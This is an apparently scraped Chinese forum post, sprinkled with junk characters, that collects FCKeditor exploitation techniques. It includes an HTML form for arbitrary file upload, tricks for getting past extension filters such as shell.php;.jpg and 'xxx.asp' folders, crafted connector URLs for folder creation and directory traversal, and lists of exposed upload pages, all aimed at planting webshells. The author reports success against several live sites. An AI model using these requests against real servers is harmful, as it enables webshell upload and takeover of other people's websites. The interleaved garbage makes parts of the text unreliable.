Fckeditor漏洞利用总结 5 z# C1 O6 ~) i: _+ _- X
查看编辑器版本
1 b w( }3 F# v1 qFCKeditor/_whatsnew.html. L8 X* Q V/ p" o/ q, C
—————————————————————————————————————————————————————————————
( R" c8 ^: P$ }) F
0 i/ V/ n5 U/ `6 Q* }- u4 q5 Y2. Version 2.2 版本
1 v) t; K4 M9 Q! ~Apache+linux 环境下在上传文件后面加个.突破!测试通过。
) t- o' M+ c$ L0 O M& r" B—————————————————————————————————————————————————————————————
& ?* S- k! J/ ^& B" m r0 l- m7 X% M& E- m& S
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。9 P E5 c+ q& h. u
<form id="frmUpload" enctype="multipart/form-data"
8 J0 {$ C5 C, E) S5 taction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>2 M+ l0 ^- N7 C7 r, X/ @
<input type="file" name="NewFile" size="50"><br>1 q1 {( |% }# \3 F2 Y) h
<input id="btnUpload" type="submit" value="Upload">
; V* Z' i8 ]5 _( K</form>: K$ T+ B7 M1 ~. u8 p
—————————————————————————————————————————————————————————————
m0 }7 C7 F6 \ b3 |) B d! k7 T1 d- R( x; O$ P! y+ y) J
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
8 Q: c B K. y. S: L" k 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
$ P2 W" s; x& H4 Y 4.1:提交shell.php+空格绕过
$ z1 \+ S8 d v: }9 z+ d) w不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
' W; u2 u3 \& X( J. T% r+ Y Z 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
2 S1 @6 O( V. _/ L# y—————————————————————————————————————————————————————————————3 S" T0 d' z( z
; U3 l6 U. V. E1 G4 W5. 突破建立文件夹4 S. J' ~- l% Z' `$ C3 Y) c
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
g4 s: u3 G8 s! t6 p: UFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp, \! E8 ?2 P9 ?+ Q% B1 N1 ]
—————————————————————————————————————————————————————————————" l. P- Z7 I( r0 K# l
& l) W0 d: I+ j4 ]5 v2 g' A6 {6. FCKeditor 中test 文件的上传地址
- `2 \+ z4 `: @) T% SFCKeditor/editor/filemanager/browser/default/connectors/test.html
( s' E( X, j2 F" sFCKeditor/editor/filemanager/upload/test.html t+ T" A& C5 N
FCKeditor/editor/filemanager/connectors/test.html, E2 N5 g4 j. c: L" W3 {* D
FCKeditor/editor/filemanager/connectors/uploadtest.html- k M) n S5 [9 J, u: W- A) C, c
—————————————————————————————————————————————————————————————4 ?. p9 n- {+ D$ {) R
" D) L0 Q* b! Z' Q" P& o, R
7.常用上传地址
( `, h5 B; n# W5 P8 h, B" A, V9 ZFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/! }1 a% R0 h3 z: ?" `
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp1 b1 e9 a- }, e$ k @: u. `5 t
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)* q8 T1 Y4 r3 q7 A- C8 G$ P- ]6 {5 F
JSP 版:$ O# j1 u j/ c8 T! J. a7 F! p5 j
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
1 C$ u% H! P* K8 `" L* ^注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文0 K% c8 J2 D$ A N& E1 t
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。; g0 y9 d( n9 @9 Z' n+ l
—————————————————————————————————————————————————————————————
% z* [* V9 b) a8 p& ?
6 D4 P1 Z4 V3 `' I$ ]8 z6 J8.其他上传地址
0 @4 t- G; k P+ d' q; r4 xFCKeditor/_samples/default.html
K) a( r5 S& {! j- DFCKeditor/_samples/asp/sample01.asp" h+ e, C! f/ U5 i7 ~6 p
FCKeditor/_samples/asp/sample02.asp
U% `: T. z1 Z. h; LFCKeditor/_samples/asp/sample03.asp
8 a2 [7 w9 u' |$ @3 O0 b+ y/ XFCKeditor/_samples/asp/sample04.asp# m- d* v5 c5 }* F5 w
一般很多站点都已删除_samples 目录,可以试试。
# i8 g Y" d' ?, ^2 f* i7 N6 M% tFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。7 l& A# J+ N9 K
—————————————————————————————————————————————————————————————. L2 R/ i& R$ Z5 |- j' T
7 ?- D: X. z' F: \ r$ ~4 l& e e
9.列目录漏洞也可助找上传地址4 t2 ?; q, a4 h
Version 2.4.1 测试通过
/ G$ E" F" v; E6 o- q修改CurrentFolder 参数使用 ../../来进入不同的目录; P; _+ C0 H, g; ]7 h* P( L! F( i }" j
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
$ E6 `( r* }( Z6 `, d/ ^5 t3 K根据返回的XML 信息可以查看网站所有的目录。
6 |9 v; q2 F+ ZFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F3 _. R* D* E* l2 G; N/ [+ p. Z/ e9 w
也可以直接浏览盘符:6 K4 _" L- A. W- Z
JSP 版本:* D0 t/ [7 q8 J" ~
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F7 M1 Q0 c+ o0 a& H% c
—————————————————————————————————————————————————————————————4 }2 W$ h8 G/ ]; @
2 C) L/ p4 Z3 b( s% \
10.爆路径漏洞; s0 U* ^: }, B, {% ^
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp& ?9 d# }& S g
—————————————————————————————————————————————————————————————; h6 M: T; Z# b- l) r" x- U
( u# y, u6 @. a4 ^) w! q
11. FCKeditor 被动限制策略所导致的过滤不严问题0 V- R) f& Z5 S, Z
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
6 G7 y# Y( M% l+ G脆弱描述:
+ N: k4 f6 ?% S2 \( KFCKeditor v2.4.3 中File 类别默认拒绝上传类型:% E d, P2 Q( S3 `9 n
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm: h& O1 ]7 |. J* H- d, }* b
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!# @+ u0 i d0 a! A
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。5 _! Q- X# ?3 X% Z
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!8 b. x; x6 n( J- l3 J V
—————————————————————————————————————————————————————————————
; Q2 {9 P( R% e6 f) b. W! {! h5 ^' d% b: F# o- G
12.最古老的漏洞,Type文件没有限制!+ j. i* l8 ]' n! s
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ( v% Z3 @/ G! V5 s
—————————————————————————————————————————————————————————————
2 ^1 \/ V6 a9 L1 H- M4 N0 B( I# O- o3 J
===============================================================================================================================================
3 I: I3 ], P2 l& a; f1 \/ X& l4 G' `9 W
FCK编辑器jsp版本漏洞:
9 S& H0 _8 Q2 l/ ~( z; R0 ~" I/ W9 ^/ M3 m4 M
1 L- z# z) J5 A5 |' k9 W
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F* n; G# z( f0 n+ d7 k
6 ~6 L/ ~4 Z1 y* e7 W上传马所在目录
% ~! l7 C5 i! N9 p" Y" B. K9 pFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
6 w" c; Z, V; T- }1 V9 _; j. d6 s$ @+ c上传shell的地址:2 L; a! T* S2 i" n% W [# A
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector: [9 X4 u5 R3 [1 |- r
跟版本有关系.并不是百分百成功. 测试成功几个站.
* L0 P: k1 E0 x0 |1 C% H2 |6 F不能通杀.很遗憾.
2 P+ R6 ^3 C# K2 Q/ |http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector. S8 a2 w7 x4 N* I) n
如果以上地址不行可以试试
3 i) p% ], Y: x& T; o& aFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector4 ~6 c+ ^9 u3 c: J) [' [! f7 \
FCKeditor/_samples/* z( u$ Z* R. ~, b
FCKeditor/_samples/default.html9 M, u3 U$ ^+ \
FCKeditor/editor/fckeditor.htm
9 ^6 b, r5 m% e( W q4 f" iFCKeditor/editor/fckdialog.html3 b# ]4 K! Y3 A) n1 h
: k; h O& l6 s$ |4 p9 l4 z) m4 o& w0 ]& W* B5 T
$ A, `# }- W7 L3 r1 M1 V解析漏洞+未重命名文件时上传漏洞 1.asp;jpg8 P/ q2 @) H) e3 j7 T$ e' Y
|